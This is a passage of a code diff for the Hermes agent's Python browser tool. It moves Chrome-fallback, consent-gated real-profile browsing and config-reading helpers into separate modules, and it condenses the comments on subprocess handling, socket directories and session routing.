ghcr.io/nousresearch/hermes-agent:latest" - ) - else: - hint = ( - "Chrome fallback requires Chromium, but it is missing. Install it with: " - "npx agent-browser install --with-deps " - "(or: npx playwright install --with-deps chromium)" - ) - return {"success": False, "error": hint} - - # Resolve npx via the same PATH + extended-PATH cascade _find_agent_browser - # uses, not a bare shutil.which("npx") — Hermes-managed-Node-only setups - # resolve npx only through the extended fallback path, and a bare lookup - # would let a broken system npx shadow a healthy managed one. If npx isn't - # found at all (Termux, bare container), fall back to the bare name and - # let Popen raise with a readable "FileNotFoundError: 'npx'" rather than - # WinError 193. - if _is_npx_agent_browser_sentinel(browser_cmd): - _npx_bin = _resolve_npx_bin() or "npx" - # --ignore-scripts: AGENT_BROWSER_NPX_SPEC is a floating ^0.26.0 range, - # not an exact pin — a compromised future 0.26.x patch must not get to - # run its own install-time lifecycle scripts on this machine. - cmd_prefix = [_npx_bin, "--ignore-scripts", "--prefer-offline", "-y", AGENT_BROWSER_NPX_SPEC] - else: - cmd_prefix = [browser_cmd] - base_args = cmd_prefix + ["--engine", "chrome", "--session", tmp_session, "--json"] - - task_socket_dir = os.path.join(_socket_safe_tmpdir(), f"agent-browser-{tmp_session}") - os.makedirs(task_socket_dir, mode=0o700, exist_ok=True) - # Claim the dir before using it: another hermes process's orphan reaper - # rmtree's any agent-browser-* dir in the shared tmpdir that carries no - # live owner, which otherwise deletes this one mid-command. - _write_owner_pid(task_socket_dir, tmp_session) - browser_env = _build_browser_env() - browser_env["AGENT_BROWSER_SOCKET_DIR"] = task_socket_dir - browser_env["PATH"] = _merge_browser_path(browser_env.get("PATH", "")) - - if "AGENT_BROWSER_IDLE_TIMEOUT_MS" not in browser_env: - browser_env["AGENT_BROWSER_IDLE_TIMEOUT_MS"] = str(BROWSER_SESSION_INACTIVITY_TIMEOUT * 1000) - - # This helper bypasses _run_browser_command, so apply the same Chromium - # sandbox policy explicitly. - _apply_chromium_sandbox_args(browser_env) - - def _run_tmp(cmd: str, cmd_args: List[str]) -> Dict[str, Any]: - full = base_args + [cmd] + cmd_args - # Use temp-file stdout/stderr pattern (same as _run_browser_command) - # to avoid pipe hang from agent-browser daemon inheriting fds. - stdout_path = os.path.join(task_socket_dir, f"_stdout_{cmd}") - stderr_path = os.path.join(task_socket_dir, f"_stderr_{cmd}") - stdout_fd = os.open(stdout_path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600) - stderr_fd = os.open(stderr_path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600) - try: - # On Windows, launch the child in a new process group so parent - # console Ctrl+C doesn't kill it with STATUS_CONTROL_C_EXIT - # (0xC000013A = rc 3221225786), AND insulate its stdio + handle - # inheritance from the parent. - # - # Additional Windows hardening beyond CREATE_NEW_PROCESS_GROUP: - # * STARTF_USESTDHANDLES + explicit handles → CreateProcess hands - # the child ONLY our three chosen handles (DEVNULL stdin + - # temp-file stdout/stderr). Without this, some parents leak - # console handles that break downstream grandchild spawns — the - # agent-browser Rust binary spawns a detached daemon grandchild, - # and that grandchild's CreateProcess dies silently - # ("Daemon process exited during startup with no error output") - # when inherited parent handles are in a weird state. Observed - # in the Hermes CLI where sys.stdout and sys.stderr both report - # fileno=1 (stderr dup'd onto stdout at the OS level). - # * close_fds=True → block inheritance of every other handle. - # (Default on POSIX; must be explicit on Windows for stdio.) - _popen_extra: dict = {} - if os.name == "nt": - # CREATE_NO_WINDOW → don't attach a console (cmd.exe would - # otherwise briefly allocate one for the .cmd shim). - # Do NOT add CREATE_NEW_PROCESS_GROUP: on Python 3.11 Windows - # it interacts with asyncio's ProactorEventLoop such that the - # subprocess creation cancels the running loop task, which - # surfaces as KeyboardInterrupt in app.run() and tears down - # the CLI mid-turn. The agent thread's subprocess spawn - # unwound MainThread's prompt_toolkit loop that way — see - # diag log: "asyncio.CancelledError → KeyboardInterrupt". - _popen_extra["creationflags"] = windows_hide_flags() - _popen_extra["close_fds"] = True - _si = subprocess.STARTUPINFO() - _si.dwFlags |= subprocess.STARTF_USESTDHANDLES - _popen_extra["startupinfo"] = _si - proc = subprocess.Popen( - full, stdout=stdout_fd, stderr=stderr_fd, - stdin=subprocess.DEVNULL, env=browser_env, - **_popen_extra, - ) - finally: - os.close(stdout_fd) - os.close(stderr_fd) - try: - proc.wait(timeout=timeout) - except subprocess.TimeoutExpired: - proc.kill() - proc.wait() - return {"success": False, "error": f"Chrome fallback '{cmd}' timed out"} - try: - with open(stdout_path, "r", encoding="utf-8") as f: - stdout = f.read().strip() - if stdout: - return json.loads(stdout.split("\n")[-1]) - except Exception as exc: - logger.debug("Chrome fallback tmp cmd '%s' error: %s", cmd, exc) - finally: - for pth in (stdout_path, stderr_path): - try: - os.unlink(pth) - except OSError: - pass - return {"success": False, "error": f"Chrome fallback '{cmd}' failed"} - - try: - # 3. Navigate Chrome to the same URL. - nav = _run_tmp("open", [current_url]) - if not nav.get("success"): - logger.warning("Chrome fallback: navigate failed: %s", nav.get("error")) - return {"success": False, "error": f"Chrome fallback navigate failed: {nav.get('error')}"} - - # 4. Run the requested command in Chrome. - return _run_tmp(command, args) - - finally: - # 5. Tear down the temporary Chrome session. - try: - _run_tmp("close", []) - except Exception: - pass - # Clean up socket directory - import shutil as _shutil - _shutil.rmtree(task_socket_dir, ignore_errors=True) - - -def _chrome_fallback_screenshot( - task_id: str, - args: List[str], - timeout: int, -) -> Dict[str, Any]: - """Take a screenshot using a temporary Chrome session.""" - return _run_chrome_fallback_command(task_id, "screenshot", args, timeout) +from tools.browser_tool_lightpanda_fallback import ( # noqa: F401 + _using_lightpanda_engine, + lightpanda_engine_status, + _lightpanda_fallback_reason, + _needs_lightpanda_fallback, + _annotate_lightpanda_fallback, + _copy_fallback_warning, + _run_chrome_fallback_command, + _chrome_fallback_screenshot, +) def _auto_local_for_private_urls() -> bool: - """Return whether a cloud-configured install should auto-spawn a local - Chromium for LAN/localhost URLs. + """``browser.auto_local_for_private_urls`` (default True), cached for the process. - Reads ``browser.auto_local_for_private_urls`` once (default ``True``) and - caches it for the process lifetime. When enabled, ``browser_navigate`` - routes URLs whose host resolves to a private/loopback/LAN address to a - local headless Chromium sidecar even when a cloud provider (Browserbase - / Browser-Use / Firecrawl) is configured globally. Public URLs continue - to use the cloud provider in the same conversation. + When on, ``browser_navigate`` routes private/loopback/LAN URLs to a local + Chromium sidecar even with a cloud provider configured; public URLs keep + using the cloud provider in the same conversation. """ global _auto_local_for_private_urls_resolved, _cached_auto_local_for_private_urls if _auto_local_for_private_urls_resolved: return _cached_auto_local_for_private_urls _auto_local_for_private_urls_resolved = True - try: - from hermes_cli.config import read_raw_config - cfg = read_raw_config() - browser_cfg = cfg.get("browser", {}) - if isinstance(browser_cfg, dict) and "auto_local_for_private_urls" in browser_cfg: - _cached_auto_local_for_private_urls = bool( - browser_cfg.get("auto_local_for_private_urls") - ) - except Exception as e: - logger.debug("Could not read auto_local_for_private_urls from config: %s", e) + _cached_auto_local_for_private_urls = _browser_cfg( + "auto_local_for_private_urls", _cached_auto_local_for_private_urls, bool, + "auto_local_for_private_urls from config", + ) return _cached_auto_local_for_private_urls @@ -1519,15 +1027,7 @@ def _use_real_profile() -> bool: The read is one YAML load per local session creation (not per command), so there is no hot-path cost to keeping it uncached. """ - try: - from hermes_cli.config import read_raw_config - cfg = read_raw_config() - browser_cfg = cfg.get("browser", {}) - if isinstance(browser_cfg, dict): - return bool(browser_cfg.get("use_real_profile", False)) - except Exception as e: - logger.debug("Could not read use_real_profile from config: %s", e) - return False + return _browser_cfg("use_real_profile", False, bool, "use_real_profile from config") # Session name for the single shared real-profile copy-browser. All consented @@ -1540,385 +1040,101 @@ _real_profile_cdp_cache: dict = {} _real_profile_chrome_procs: list = [] # Popen handles of directly-launched real browsers -def _terminate_real_profile_chrome() -> None: - """Terminate real-browser processes launched for real-profile sessions. - - The real-profile path launches the user's actual browser binary on the - profile COPY (bypassing agent-browser's mock-keychain launch). Those - processes are ours to reap: agent-browser only ATTACHED to them, so its - own session cleanup never kills them. Idempotent; safe from atexit. - """ - while _real_profile_chrome_procs: - proc = _real_profile_chrome_procs.pop() - try: - if proc.poll() is None: - proc.terminate() - try: - proc.wait(timeout=5) - except Exception: - proc.kill() - except Exception as e: - logger.debug("real-profile chrome terminate failed: %s", e) +from tools.browser_tool_real_profile import ( # noqa: F401 + _terminate_real_profile_chrome, + _cdp_http_ready, + _agent_browser_get_cdp, + _cdp_on_data_dir, + _agent_browser_close_session, + _REAL_PROFILE_CHROME_FLAGS, + _real_profile_unsupported_reason, + _real_profile_snapshot_error, + _launch_real_profile_chrome, + _attach_agent_browser_to_real_profile, + _real_profile_cdp, +) def _agent_browser_argv(browser_cmd: str) -> list: - """Command prefix to invoke agent-browser (binary or npx sentinel).""" + """Command prefix to invoke agent-browser (concrete binary or npx sentinel). + + Concrete executable paths stay a single argv item (spaces intact); only the + synthetic npx sentinel expands. npx is resolved through the same + PATH + extended-PATH cascade ``_find_agent_browser`` uses — a bare + ``shutil.which("npx")`` would let a broken system npx shadow a healthy + Hermes-managed one. If npx isn't found at all (Termux, bare container) the + bare name is used so Popen raises a readable ``FileNotFoundError: 'npx'``. + ``--ignore-scripts``: AGENT_BROWSER_NPX_SPEC is a floating range, not an + exact pin — a compromised future patch must not run install-time scripts. + """ if _is_npx_agent_browser_sentinel(browser_cmd): _npx_bin = _resolve_npx_bin() or "npx" return [_npx_bin, "--ignore-scripts", "--prefer-offline", "-y", AGENT_BROWSER_NPX_SPEC] return [browser_cmd] -def _cdp_http_ready(http_cdp: str) -> bool: - """True when an ``http://host:port`` CDP discovery root answers.""" - try: - from hermes_cli.browser_connect import is_browser_debug_ready +def _prepare_session_socket_dir(session_name: str) -> str: + """Create the per-session agent-browser socket dir and claim it with our PID. - return is_browser_debug_ready(http_cdp, timeout=1.0) - except Exception: - return False - - -def _agent_browser_get_cdp(session_name: str) -> Optional[str]: - """Return the HTTP CDP endpoint of an agent-browser session, or None. - - agent-browser prints ``ws://127.0.0.1:/devtools/browser/`` for - ``get cdp-url``; the browser-use harness wants the HTTP discovery root - (``http://127.0.0.1:``), so we convert. None when the session isn't - running or the port can't be parsed. + Each session gets its own dir so parallel workers don't fight over the + default socket path ("Failed to create socket directory: Permission + denied"). The owner_pid file is written BEFORE first use: another hermes + process's orphan reaper rmtree's any agent-browser-* dir in the shared + tmpdir that carries no live owner, which would delete this one mid-command. """ - try: - browser_cmd = _find_agent_browser() - except FileNotFoundError: - return None - try: - proc = subprocess.run( - [*_agent_browser_argv(browser_cmd), "--session", session_name, "get", "cdp-url"], - capture_output=True, text=True, timeout=15, env=_build_browser_env(), - ) - except (subprocess.SubprocessError, OSError) as e: - logger.debug("real-profile get cdp-url failed: %s", e) - return None - out = (proc.stdout or "").strip() - m = re.search(r"ws://127\.0\.0\.1:(\d+)/", out) - if not m: - return None - return f"http://127.0.0.1:{m.group(1)}" + socket_dir = os.path.join(_socket_safe_tmpdir(), f"agent-browser-{session_name}") + os.makedirs(socket_dir, mode=0o700, exist_ok=True) + _write_owner_pid(socket_dir, session_name) + return socket_dir -def _cdp_on_data_dir(http_cdp: str, data_dir: str) -> bool: - """True when the CDP endpoint's browser is running on ``data_dir``. +def _agent_browser_command_env(socket_dir: str) -> Dict[str, str]: + """Credential-scrubbed env for one agent-browser command. - agent-browser's launched Chrome writes ``DevToolsActivePort`` into its - user-data-dir with the live debug port on the first line. Matching that - port against the CDP endpoint's port confirms the running browser is our - profile copy — not a throwaway temp dir a raced/stale launch fell back to. + Adds the discovery-time PATH fallbacks, the session socket dir, and the + daemon-side idle self-termination (``AGENT_BROWSER_IDLE_TIMEOUT_MS``, + agent-browser 0.24+) mirroring the Python-side inactivity janitor — + unless the user set the idle timeout explicitly. """ - m = re.search(r":(\d+)", http_cdp or "") - if not m: - return False - try: - with open(os.path.join(data_dir, "DevToolsActivePort"), encoding="utf-8") as fh: - port_line = fh.readline().strip() - return port_line == m.group(1) - except OSError: - return False + env = _build_browser_env() + env["PATH"] = _merge_browser_path(env.get("PATH", "")) + env["AGENT_BROWSER_SOCKET_DIR"] = socket_dir + if "AGENT_BROWSER_IDLE_TIMEOUT_MS" not in env: + env["AGENT_BROWSER_IDLE_TIMEOUT_MS"] = str(BROWSER_SESSION_INACTIVITY_TIMEOUT * 1000) + return env -def _agent_browser_close_session(session_name: str) -> None: - """Best-effort close of an agent-browser session (stale/wrong-dir cleanup).""" - try: - browser_cmd = _find_agent_browser() - except FileNotFoundError: - return - try: - subprocess.run( - [*_agent_browser_argv(browser_cmd), "--session", session_name, "close"], - capture_output=True, text=True, timeout=15, env=_build_browser_env(), - ) - except (subprocess.SubprocessError, OSError) as e: - logger.debug("real-profile session close failed: %s", e) +def _popen_agent_browser(argv: List[str], env: Dict[str, str], socket_dir: str, tag: str) -> "subprocess.Popen": + """Spawn agent-browser with stdout/stderr redirected to ``socket_dir/_stdout_``. - -def _real_profile_cdp() -> tuple: - """Resolve ``(cdp_url, error)`` for consented real-profile browsing. - - Snapshots the user's default-Chromium profile into a hermes-owned copy - (auth/login state only), then has agent-browser launch its packaged - Chromium on that copy and returns the HTTP CDP endpoint for the browser-use - harness to attach to. The copy is a non-default dir, so it sidesteps the - Chrome ≥136 default-profile remote-debugging block and never contends with - the user's running browser; agent-browser launches the packaged Chromium - with no mock-keychain switches, so keyring-encrypted cookies decrypt. - - A single shared agent-browser session is reused across calls (its CDP URL - is cached and re-validated). Returns ``(None, message)`` fail-closed when - the default browser is non-Chromium or the snapshot/launch fails; - ``(None, None)`` when consent is off. + Temp files instead of pipes: the CLI forks a background daemon that inherits + its fds, so with pipes ``communicate()`` never sees EOF until the timeout. + Windows: CREATE_NO_WINDOW only (NOT CREATE_NEW_PROCESS_GROUP, which on + Python 3.11 cancels asyncio's running loop task and surfaces as + KeyboardInterrupt in the CLI), STARTF_USESTDHANDLES so CreateProcess hands + the child ONLY our three handles (leaked parent console handles make the + Rust binary's daemon grandchild die silently), close_fds=True for the rest. + Returns the Popen; the caller reads/unlinks the two files. """ - if not _use_real_profile(): - # Consent is off. If a snapshot store from a previous consented run is - # still on disk, it holds copies of the user's cookies/logins — delete - # it so revoking consent actually removes the credential copies. Cheap - # (one isdir check) and idempotent. - try: - from hermes_cli.browser_connect import cleanup_real_profile_snapshots - - cleanup_real_profile_snapshots() - except Exception as e: - logger.debug("real-profile cleanup-on-consent-off failed: %s", e) - _real_profile_cdp_cache.pop("cdp", None) - return None, None - - # Lightpanda cannot load a Chromium profile — agent-browser rejects - # ``--profile`` outright under that engine ("Profiles are not supported - # with Lightpanda"). Detect it here, BEFORE default-browser detection, so - # even a host with no Chromium default reports the actionable conflict (the - # engine setting) rather than a generic launch failure. - if _using_lightpanda_engine(): - return None, ( - "browser.use_real_profile is on, but browser.engine is set to " - "'lightpanda', which cannot load a real Chromium profile. Set " - "browser.engine to 'auto' or 'chrome' to use real-profile browsing, " - "or turn the toggle off." + stdout_path = os.path.join(socket_dir, f"_stdout_{tag}") + stderr_path = os.path.join(socket_dir, f"_stderr_{tag}") + stdout_fd = os.open(stdout_path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600) + stderr_fd = os.open(stderr_path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600) + try: + _popen_extra: dict = {} + if os.name == "nt": + _popen_extra["creationflags"] = windows_hide_flags() + _popen_extra["close_fds"] = True + _si = subprocess.STARTUPINFO() + _si.dwFlags |= subprocess.STARTF_USESTDHANDLES + _popen_extra["startupinfo"] = _si + return subprocess.Popen( + argv, stdout=stdout_fd, stderr=stderr_fd, + stdin=subprocess.DEVNULL, env=env, **_popen_extra, ) - - from hermes_cli.browser_connect import ( - UNSUPPORTED_CHANNEL, - detect_default_chromium, - real_profile_copy_dir, - snapshot_real_profile, - ) - - with _real_profile_cdp_lock: - # Reuse a live copy-browser from an earlier call this process made. - cached = _real_profile_cdp_cache.get("cdp") - if cached and _cdp_http_ready(cached): - return cached, None - _real_profile_cdp_cache.pop("cdp", None) - - browser = detect_default_chromium() - if browser is None: - return None, ( - "browser.use_real_profile is on, but your default browser is not a " - "supported Chromium browser (Chrome, Edge, Brave, Brave Origin, " - "Chromium). " - "Real-profile browsing requires a Chromium default; set one or turn " - "the toggle off." - ) - if browser == UNSUPPORTED_CHANNEL: - # A recognized pre-release channel (Beta/Dev/Canary) is the OS - # default. Its profile lives in a channel-specific directory we - # don't resolve, and normalizing it to the stable family would - # drive a DIFFERENT profile/account — a wrong-principal bug. Fail - # closed rather than guess (#95549 invariant). - return None, ( - "browser.use_real_profile is on, but your default browser is a " - "pre-release Chromium channel (Beta / Dev / Canary), which " - "real-profile browsing does not support. Set your default to a " - "stable Chrome / Edge / Brave / Brave Origin / Chromium, or turn " - "the toggle off." - ) - - # Reuse BEFORE writing anything. A shared copy-browser may already be up - # from a previous hermes process; if it is driving OUR copy dir, hand it - # back untouched. CRITICAL: the snapshot overlay (which truncates and - # rewrites Cookies / Login Data) must NOT run while that browser holds - # the user-data-dir open — doing so corrupts the live databases (torn - # reads, locked transactions, phantom logouts). So resolve the copy dir - # as a PATH only (no copy), probe reuse, and return early on a hit. The - # snapshot/overlay happens solely on the relaunch path below, when no - # live browser owns the dir. - copy_dir = real_profile_copy_dir(browser) - existing = _agent_browser_get_cdp(_REAL_PROFILE_SESSION) - if existing and _cdp_http_ready(existing) and _cdp_on_data_dir(existing, copy_dir): - _real_profile_cdp_cache["cdp"] = existing - return existing, None - if existing: - # Stale/wrong-dir session (throwaway-temp fallback, or an old copy): - # close it so nothing holds the dir open before we overlay + relaunch. - _agent_browser_close_session(_REAL_PROFILE_SESSION) - - # No live browser owns the dir now — safe to (re)snapshot + overlay. - snap_dir, err = snapshot_real_profile(browser) - if err or not snap_dir: - from hermes_cli.browser_connect import _PROFILE_LOCKED_PREFIX - - if err and err.startswith(_PROFILE_LOCKED_PREFIX): - # The user's browser is holding the profile. Surface the guidance - # verbatim (it already tells the agent whether closing is armed) - # plus the exact approved-close command. The agent must ASK the - # user before running it — it quits their browser. - body = err[len(_PROFILE_LOCKED_PREFIX):] - return None, ( - body + " To close it (only after the user approves — it " - "quits their browser and loses unsaved tabs), run: " - "`hermes browser close-profile`, then retry." - ) - return None, f"browser.use_real_profile is on, but {err}" - copy_dir = snap_dir - - # Launch the user's REAL browser binary directly on the profile COPY. - # agent-browser 0.35's own - # launch path force-adds --use-mock-keychain/--password-store=basic - # (and --headless=new), which makes macOS Chrome treat every - # keychain-encrypted cookie as undecryptable and drop it — the copied - # profile launches signed out. Launching the real binary ourselves with - # NO mock-keychain switches keeps the OS keychain path intact, exactly - # as the snapshot design intends; agent-browser attaches to it after - # via --auto-connect (--cdp ). - from hermes_cli.browser_connect import chromium_executable - - real_binary = chromium_executable(browser) - if real_binary is None: - return None, ( - "browser.use_real_profile is on, but the real browser binary for " - f"'{browser}' could not be found. Reinstall it or turn the toggle off." - ) - - port_file = os.path.join(copy_dir, "DevToolsActivePort") - try: - os.unlink(port_file) # stale port from a previous launch confuses reuse probes - except OSError: - pass - chrome_argv = [ - real_binary, - f"--user-data-dir={copy_dir}", - "--remote-debugging-port=0", - "--no-first-run", - "--no-default-browser-check", - "--disable-background-networking", - "--disable-component-update", - "--disable-default-apps", - "--disable-hang-monitor", - "--disable-popup-blocking", - "--disable-prompt-on-repost", - "--disable-sync", - "--disable-features=Translate", - "--no-startup-window", - ] - # Drive the copy headlessly by default. Real-profile browsing is a - # background capability — the agent tweets / fills forms / scrapes on - # the user's behalf while they keep working; a visible window that - # steals focus every turn defeats the point. Chrome's NEW headless mode - # shares the profile's normal cookie store (unlike legacy --headless - # with its separate store), so the copied auth/login state still loads. - # Cookie decryption is unaffected by headless: the drop we guard against - # comes from --use-mock-keychain (which agent-browser's own launcher - # force-adds and we deliberately avoid), NOT from headless mode. This - # also covers display-less Linux (servers, CI), where a headed launch - # would exit at startup. Users who want to watch can opt in via the same - # browser.headed / AGENT_BROWSER_HEADED toggle the rest of the browser - # stack honors; on a display-less host we force headless regardless so - # the launch doesn't die. - _has_display = bool( - os.environ.get("DISPLAY") or os.environ.get("WAYLAND_DISPLAY") - ) - _want_headed = _is_headed_mode() and ( - _has_display or not sys.platform.startswith("linux") - ) - if not _want_headed: - chrome_argv.append("--headless=new") - try: - chrome_proc = subprocess.Popen( - chrome_argv, - stdout=subprocess.DEVNULL, - stderr=subprocess.DEVNULL, - stdin=subprocess.DEVNULL, - start_new_session=True, - env=_build_browser_env(), - ) - except (subprocess.SubprocessError, OSError) as e: - return None, f"browser.use_real_profile is on, but the launch failed: {e}" - _real_profile_chrome_procs.append(chrome_proc) - - # Wait for DevToolsActivePort to appear (Chrome picks a free port). - import time as _time - - deadline = _time.monotonic() + 30.0 - port = None - while _time.monotonic() < deadline: - try: - with open(port_file, encoding="utf-8") as fh: - line = fh.readline().strip() - if line.isdigit(): - port = int(line) - break - except OSError: - pass - if chrome_proc.poll() is not None: - _terminate_real_profile_chrome() - return None, ( - "browser.use_real_profile is on, but Chrome exited during " - "startup (another instance may hold the profile copy)." - ) - _time.sleep(0.25) - if port is None: - _terminate_real_profile_chrome() - return None, ( - "browser.use_real_profile is on, but the real-profile browser " - "did not expose a debug port in time. Retry, or turn the toggle off." - ) - - # Tell agent-browser to ATTACH to the running Chrome instead of - # launching its own (its own launch injects mock-keychain flags). - try: - browser_cmd = _find_agent_browser() - except FileNotFoundError as e: - return None, ( - "browser.use_real_profile is on, but the local browser engine " - f"(agent-browser) is not installed: {e}" - ) - argv = [ - *_agent_browser_argv(browser_cmd), - "--session", _REAL_PROFILE_SESSION, - "--cdp", str(port), - "open", "about:blank", - ] - try: - proc = subprocess.run( - argv, capture_output=True, text=True, - timeout=_get_open_command_timeout(first_open=True), - env=_build_browser_env(), - ) - except subprocess.TimeoutExpired: - return None, ( - "browser.use_real_profile is on, but the real-profile browser " - "took too long to start. Retry, or turn the toggle off." - ) - except (subprocess.SubprocessError, OSError) as e: - return None, f"browser.use_real_profile is on, but the launch failed: {e}" - if proc.returncode != 0: - tail = (proc.stderr or proc.stdout or "").strip().splitlines() - reason = tail[-1] if tail else f"exit {proc.returncode}" - return None, ( - f"browser.use_real_profile is on, but the real-profile browser " - f"failed to start: {reason}" - ) - - cdp = _agent_browser_get_cdp(_REAL_PROFILE_SESSION) - # The daemon may answer with the endpoint of a - # browser IT spawned (throwaway temp profile) instead of the real - # Chrome we launched on the copy. The DevToolsActivePort file OUR - # Chrome wrote is the authoritative endpoint of the logged-in browser; - # if the daemon disagrees, trust ours. - try: - with open(port_file, encoding="utf-8") as fh: - our_port = fh.readline().strip() - m = re.search(r":(\d+)", cdp or "") - if m and m.group(1) != our_port: - cdp = f"http://127.0.0.1:{our_port}" - except (OSError, ValueError): - pass - if not cdp: - return None, ( - "browser.use_real_profile is on, but the real-profile browser " - "started without exposing a devtools endpoint. Retry, or turn " - "the toggle off." - ) - _real_profile_cdp_cache["cdp"] = cdp - logger.info("real-profile browser ready for %s at %s (%s)", browser, cdp, copy_dir) - return cdp, None + finally: + os.close(stdout_fd) + os.close(stderr_fd) def _url_is_private(url: str) -> bool: @@ -1987,21 +1203,12 @@ def _url_is_private(url: str) -> bool: def _navigation_session_key(task_id: str, url: str) -> str: """Pick the session key that should handle ``url`` for ``task_id``. - Returns the bare task_id unless ALL of these are true: - 1. A cloud provider is configured (``_get_cloud_provider()`` is not None). - 2. Auto-local routing is enabled (``browser.auto_local_for_private_urls``, - default True). - 3. The URL resolves to a private/LAN/loopback address. - 4. A CDP override is not active (that path owns the whole session). - 5. Camofox mode is not active (Camofox is already local-only). - - When all are true, returns ``f"{task_id}::local"`` so the hybrid-routing - path spawns a local Chromium sidecar while the cloud session (if any) - continues to serve public URLs. With ``browser.use_real_profile`` consent, - local sessions (bare or sidecar) attach to the user's real-profile - copy-browser via ``_create_local_session``; forcing a local session from - the model side is the Browser Use lane's ``local`` argument, not a - built-in-tools argument. + Returns ``f"{task_id}::local"`` (hybrid routing: a local Chromium sidecar + while the cloud session keeps serving public URLs) only when ALL hold: a + cloud provider is configured, ``browser.auto_local_for_private_urls`` is + on (default), the URL resolves to a private/LAN/loopback address, no CDP + override is active (it owns the whole session), and Camofox is off (already + local-only). Otherwise the bare task_id. """ if task_id is None: task_id = "default" @@ -2040,22 +1247,15 @@ def _session_info_owned_by_task(session_info: Dict[str, Any], task_id: str, sess """ owner = session_info.get("owner_task_id") key = session_info.get("session_key") - if owner is not None and owner != task_id: - return False - if key is not None and key != session_key: - return False - return True + return (owner is None or owner == task_id) and (key is None or key == session_key) def _last_session_key(task_id: str) -> str: - """Return the live session key to use for a non-nav browser tool call. + """Session key a non-nav tool must use: the one that served the task's last navigation. - ``browser_navigate`` records which concrete session key served a task's - most recent successful navigation. Non-navigation tools must reuse that key - so click/fill/snapshot land in the same browser. If the recorded owner was - later cleaned up or ownership metadata no longer matches, fail closed by - dropping the stale binding instead of silently recreating or mutating the - wrong browser. + If that session was cleaned up or its ownership metadata no longer matches, + fail closed by dropping the stale binding rather than recreating or mutating + the wrong browser. """ if task_id is None: task_id = "default" @@ -2100,54 +1300,35 @@ def _allow_private_urls() -> bool: def _resolve_allow_private_urls() -> bool: """Read the browser private-URL toggle from the active config scope.""" - try: - from hermes_cli.config import read_raw_config - cfg = read_raw_config() - browser_cfg = cfg.get("browser", {}) - if isinstance(browser_cfg, dict): - return is_truthy_value( - browser_cfg.get("allow_private_urls"), default=False - ) - except Exception as e: - logger.debug("Could not read allow_private_urls from config: %s", e) - return False + return _browser_cfg( + "allow_private_urls", False, + lambda v: is_truthy_value(v, default=False), + "allow_private_urls from config", + ) def _socket_safe_tmpdir() -> str: - """Return a short temp directory path suitable for Unix domain sockets. + """Short temp dir for Unix domain sockets. - macOS sets ``TMPDIR`` to ``/var/folders/xx/.../T/`` (~51 chars). When we - append ``agent-browser-hermes_…`` the resulting socket path exceeds the - 104-byte macOS limit for ``AF_UNIX`` addresses, causing agent-browser to - fail with "Failed to create socket directory" or silent screenshot failures. - - Linux ``tempfile.gettempdir()`` already returns ``/tmp``, so this is a - no-op there. On macOS we bypass ``TMPDIR`` and use ``/tmp`` directly - (symlink to ``/private/tmp``, sticky-bit protected, always available). + macOS ``TMPDIR`` (``/var/folders/.../T/``) plus ``agent-browser-hermes_…`` + exceeds the 104-byte ``AF_UNIX`` path limit ("Failed to create socket + directory", silent screenshot failures), so ``/tmp`` is used there. """ if sys.platform == "darwin": return "/tmp" return tempfile.gettempdir() -# Track active sessions per "session key". -# -# A "session key" is either the bare task_id (cloud/default path) OR a composite -# like f"{task_id}::local" when the hybrid-routing feature spawns a local sidecar -# browser for a LAN/localhost URL while a cloud provider is configured globally. -# Both forms flow through the same _active_sessions / _run_browser_command / -# cleanup_browser code paths — the key is opaque to those internals. -# -# Stores: session_name (always), bb_session_id + cdp_url (cloud mode only) -_active_sessions: Dict[str, Dict[str, Any]] = {} # session_key -> {session_name, ...} +# Active sessions keyed by "session key": the bare task_id, or f"{task_id}::local" +# for a hybrid-routing local sidecar. The key is opaque to _run_browser_command / +# cleanup_browser. Values: session_name (always), bb_session_id + cdp_url (cloud). +_active_sessions: Dict[str, Dict[str, Any]] = {} _recording_sessions: set = set() # session_keys with active recordings -# Tracks the most recent session_key used per task_id. Set by browser_navigate() -# after it chooses a backend for a URL; read by every non-nav browser tool -# (snapshot/click/fill/eval/...) so they target the session that served the last -# navigation. Without this, a task that navigated to localhost on the local -# sidecar would fall back to the cloud session on its next snapshot call. -_last_active_session_key: Dict[str, str] = {} # task_id -> session_key +# Most recent session_key per task_id, set by browser_navigate() and read by every +# non-nav tool so click/snapshot land in the session that served the last +# navigation (otherwise a localhost sidecar task would fall back to the cloud session). +_last_active_session_key: Dict[str, str] = {} _LOCAL_SUFFIX = "::local" # Flag to track if cleanup has been done @@ -2166,66 +1347,49 @@ DEFAULT_SESSION_INACTIVITY_TIMEOUT = int( def _get_session_inactivity_timeout() -> int: - result = env_int("BROWSER_INACTIVITY_TIMEOUT", DEFAULT_SESSION_INACTIVITY_TIMEOUT) - try: - from hermes_cli.config import read_raw_config - cfg = read_raw_config() - val = cfg_get(cfg, "browser", "inactivity_timeout") - if val is not None: - result = max(int(val), 30) # Floor at 30s to avoid instant reaping - except Exception as e: - logger.debug("Could not read inactivity_timeout from config: %s", e) - return result + env_default = env_int("BROWSER_INACTIVITY_TIMEOUT", DEFAULT_SESSION_INACTIVITY_TIMEOUT) + return _browser_cfg( + "inactivity_timeout", env_default, + lambda v: env_default if v is None else max(int(v), 30), # 30s floor: no instant reaping + "inactivity_timeout from config", + ) BROWSER_SESSION_INACTIVITY_TIMEOUT = _get_session_inactivity_timeout() -# How often the cleanup thread re-runs the orphan reaper. The reaper used to -# run exactly once, before the cleanup loop started, which meant a hermes -# process that stays up for days could never recover from a leak that appeared -# *after* boot. Observed in the wild: five agent-browser daemons accumulated -# over 10 days in a single 18-day-uptime process, pinning ~5 CPU cores. +# How often the cleanup thread re-runs the orphan reaper (a startup-only reap +# can never recover from a leak that appears after boot in a long-lived process). BROWSER_ORPHAN_REAP_INTERVAL = 300 # seconds -# Hard ceiling for a daemon whose owning hermes process is still alive but -# which has fallen out of that process's in-memory session tracking. The -# owner-alive check alone makes such a daemon immortal: in-memory tracking is -# lost on any exception path, yet the owner PID stays up, so the reaper skips -# it forever. Idle age (see ``_socket_dir_idle_seconds``) is the escape hatch. -# Deliberately a large multiple of the inactivity timeout so a legitimately -# busy session is never touched. +# Idle ceiling for a daemon whose owner process is alive but which fell out of +# its in-memory tracking — owner-alive alone would make it immortal. A large +# multiple of the inactivity timeout so a legitimately busy session is never touched. BROWSER_ORPHAN_GRACE_SECONDS = max(3600, 